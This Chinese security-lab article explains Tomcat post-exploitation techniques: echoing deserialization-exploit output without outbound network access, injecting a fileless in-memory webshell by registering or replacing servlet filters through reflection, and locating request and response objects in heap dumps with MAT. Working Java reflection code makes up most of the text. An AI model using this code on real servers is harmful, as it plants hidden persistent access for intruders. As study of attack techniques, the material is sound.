安
全
攻
防
一、背景介绍
二、技术要点
-
反序列化漏洞在不出网情况下回显的思路 -
场景:目标环境的机器被限制了对外部发起请求,我们无法通过DNSLOG/HTTP请求的方式来获取执行命令后的回显 -
环境:Tomcat + Java web -
结果:获取当前线程的response,直接将结果进行打印出来 -
Java注入内存webshell -
场景:存在反序列化漏洞或者已经具有代码执行权限,想要无文件的拿到webshell -
环境:Tomcat环境 + Java web -
结果:动态注入恶意filter(例如为注入filter为*.jpg)到JVM内存中,可达成访问任意jpg后缀即可执行命令 -
使用mat工具来从内存中查找response/request -
场景: 在技术要点1和技术要点2中,都需要拿到当前请求的response/request,在这种情况下,我们可以使用mat来进行搜索
三、具体实现
3.1
反序列化漏洞在不出网情况下回显的思路
3.1.1 简介
知识点:
在理解了这个知识点之后,就会想到,我们只要可以拿到当前请求的response对象,就可以操控输出的数据了,这样的话,尽管默认情况下是没有回显的,也可以将任意内容通过http返回的方式进行回显了。既然这样,我们该如何获取到当前请求的response呢?本文3.1.2会来进行讲解。
3.1.2 细节
首先来看这么一段代码,正常情况下,我们可以直接使用当前线程的response来获取writer进行打印输出,也就是说在利用反序列化漏洞的时候,可以拿到当前请求的response,也就能拿到writer,从而直接进行回显。
"/test") (
public String test(HttpServletResponse response)
{
PrintWriter writer = response.getWriter();
writer.write("test");
}
这时候我们就要考虑在执行进controller时,获取到堆栈中存储的当前请求的response,这里我看来看一下kingkk师傅在文章https://xz.aliyun.com/t/7348中提到的,response在org.apache.catalina.core.ApplicationFilterChain中传递的时候,是有机会来使用ThreadLocal的static的变量来进行存储起来的,这里强调是static变量是因为它方便了我们的反射获取,如果是非静态变量的话,想要进行反射还需要找到对应的实例对象。上面说到有机会,是因为它本来是不会进行存储操作的,这就需要我们反射修改一些变量来创造机会。
图一 :图中有两个点,第一个点是用来存储request和response的;第二个点是在下文中会说到。
我们再来看一下创造机会的地方,在/org/apache/catalina/core/ApplicationFilterChain.java的internalDoFilter方法中,来看图二
通过图二可以看到是存在lastServicedRequest.set和lastServicedResponse.set操作的,但是默认情况下,ApplicationDispatcher.WRAP_SAME_OBJECT为False,也就不会进入逻辑,所以所说的创造机会就是将其反射修改为True,操作代码如下:
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
WRAP_SAME_OBJECT.setBoolean(null, true);
此时可以进入if判断,但是如果只修改了WRAP_SAME_OBJECT的话,在加载时是会报错的,因为在WRAP_SAME_OBJECT为false的情况下,lastServicedResponse和lastServicedRequest都被初始化为了null,在执行中就会变成null.set(),所以抛出异常,这一点在图一中可以看到。所以在反射完WRAP_SAME_OBJECT为true后,需要反射修改lastServicedRequest、lastServicedResponse,使其初始化,操作代码如下:
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>)lastServicedResponseField.get(null);
if (lastServicedResponse == null || lastServicedRequest == null) {
//反射初始化lastServicedRequestField,lastServicedResponseField
lastServicedRequestField.set(null,new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
}
来看图三,此时已经可以将其进行存储操作了
ServletResponse responseFacade = lastServicedResponse.get();
java.io.Writer w = responseFacade.getWriter();
w.write("test");
w.flush();
3.1.3 思路利用局限性
如果漏洞点出现在自定义的filter中,这个思路就不适用了,为什么不适用呢,来看图四:
filter的执行是在lastServicedResponse.set(response);之前的,并且lastServicedResponse是个线程级的变量,当前线程在执行到filter时,lastServicedResponse是为null的,所以我们没办法通过这个思路来获取到response了。
3.2
Java注入内存webshell
3.2.1 简介
3.2.2 注册新filter来注入webshell
javax.servlet.ServletContext servletContext = request.getServletContext();
Filter testFilter = new testFilter();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("testFilter", testFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
在这里if判断不相等,如果不相等的话,就会抛出异常,这里我们的思路就是修改掉context中state的值,在修改的时候需要注意的点是:使用getDeclaredField只能获取类对象的所有方法,获取不到父类的。编辑代码如下:
javax.servlet.ServletContext servletContext = request.getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
Object o = field0.get(servletContext);
Field field1 = o.getClass().getDeclaredField("context");
field1.setAccessible(true);
Object o1 = field1.get(o);
//反射修改state
Class class0 = o1.getClass();
Class class1 = class0.getSuperclass().getSuperclass().getSuperclass().getSuperclass();
Field field2 = class1.getDeclaredField("state");
field2.setAccessible(true);
field2.set(o1, LifecycleState.STARTING_PREP);
field1.set(o, o1);
field0.set(servletContext, o);
Filter testFilter = new testFilter();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("testFilter", testFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"*.png"});
//反射将state复原,不然服务会无法访问
field2.set(o1, LifecycleState.STARTED);
field1.set(o, o1);
field0.set(servletContext, o);
到这里之后还是不会生效,为了找出原因,我们来看一下正常的filter逻辑。
假设filter可以生效,这需要在/org/apache/catalina/core/ApplicationFilterFactory.java#createFilterChain中执行一些操作,首先从context中将filterMaps取出,然后遍历filtermaps,对比请求的path是否匹配filter的urlpattern,如果匹配成功,则将filter加入filterChain中,filterChain是ApplicationFilterChain的实例,存入了filters变量中,然后就是遍历filter的过程。
在这里threedr3am师傅在文中使用了反射调用filterStart方法来将其加入到filterConfigs中,当然也可以进行反射添加进去,通过下图可以看到遍历了filterDefs,然后依次创建filterConfig添加进filterConfigs中。
反射调用filterStart方法的代码如下:
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(o1, null);
3.2.3 替换旧filter类来注入webshell
这里我将characterEncodingFilter这个filter修改成我们自定义的,来看代码:
//假设已经拿到request
javax.servlet.ServletContext servletContext = request.getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
Object o = field0.get(servletContext);
Field field1 = o.getClass().getDeclaredField("context");
field1.setAccessible(true);
Object o1 = field1.get(o);
Field field3 = o1.getClass().getSuperclass().getDeclaredField("filterConfigs");
field3.setAccessible(true);
Object o2 = field3.get(o1);
HashMap<String, Object> filterConfigs_map = (HashMap<String, Object>) o2;
Object o4 = filterConfigs_map.get("characterEncodingFilter");
Field field5 = o4.getClass().getDeclaredField("filter");
field5.setAccessible(true);
field5.set(o4, new testFilter());
//成功注入filter,访问/* 就会触发。
可以看到代码就会变得很简单了,也不需要去关心state的值引起的报错等等。但是需要注意,目标环境如果不存在你想要覆盖的filter的话,就会出现问题了,比如说我覆盖的characterEncodingFilter是在spring框架下的,可能其他框架就不存在了,这个问题需要注意。
3.3
使用mat工具来从内存中查找response/request
jmap -dump:format=b,file=heapdump.phrof 32994 //pid为运行服务的进程id
然后使用工具Mat加载内存文件,然后在Histogram中找到org.apache.coyote.Request对象
然后右键点击List Objects->with incoming references 来查找引用的地方,只要找到有线程上下文可访问的对象即可,这里需要注意,mat中的小红点表示是其直接引用对象。
对应代码如下:
@GetMapping("/test5")
public void test5() throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Object obj = Thread.currentThread();
Field group = obj.getClass().getSuperclass().getDeclaredField("group");
group.setAccessible(true);
Object object0 = group.get(obj);
Field threads = object0.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Object object1 = threads.get(object0);
Thread[] thread_array = (Thread[]) object1;
for (Thread thread : thread_array) {
if(thread.getName().contains("ClientPoller")){
Field target = thread.getClass().getDeclaredField("target");
target.setAccessible(true);
Object object2 = target.get(thread);
Field nio = object2.getClass().getDeclaredField("this$0");
nio.setAccessible(true);
Object object3 = nio.get(object2);
Field poller = object3.getClass().getDeclaredField("poller");
poller.setAccessible(true);
Object object4 = poller.get(object3);
Field nio2 = object4.getClass().getDeclaredField("this$0");
nio2.setAccessible(true);
Object object5 = nio2.get(object4);
Field connections = object5.getClass().getSuperclass().getSuperclass().getDeclaredField("connections");
connections.setAccessible(true);
Object object6 = connections.get(object5);
java.util.concurrent.ConcurrentHashMap hashmap = (java.util.concurrent.ConcurrentHashMap) object6;
for(Object map_obj : hashmap.values()){
Field currentprocessor = map_obj.getClass().getSuperclass().getDeclaredField("currentProcessor");
currentprocessor.setAccessible(true);
Object object7 = currentprocessor.get(map_obj);
if(object7 != null){
Field response = object7.getClass().getSuperclass().getDeclaredField("response");
response.setAccessible(true);
Object object8 = response.get(object7);
Method method = object8.getClass().getMethod("doWrite",java.nio.ByteBuffer.class);
ByteBuffer buffer = ByteBuffer.wrap("test".getBytes("utf-8"));
method.invoke(object8, buffer);
}
}
}
}
}
-
备注:这种思路也是需要人工去翻找的,不如直接编写脚本找的快,但是这也个思路嘛~没准在其他场景下会比较方便呢。
四、文章参考
-
https://xz.aliyun.com/t/7348
-
http://www.jasongj.com/java/threadlocal/
-
https://zhuanlan.zhihu.com/p/84607925
-
https://xz.aliyun.com/t/7388
-
https://www.jianshu.com/p/cbe1c3174d41
-
https://zhuanlan.zhihu.com/p/84607925
-
https://juejin.im/post/5a7ceeabf265da4e9449a802
-
https://segmentfault.com/a/1190000013126031
-
http://cmsblogs.com/?p=10962
END
「 往期文章 」
扫描二维码
获取更多姿势
穿云箭
安全实验室
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论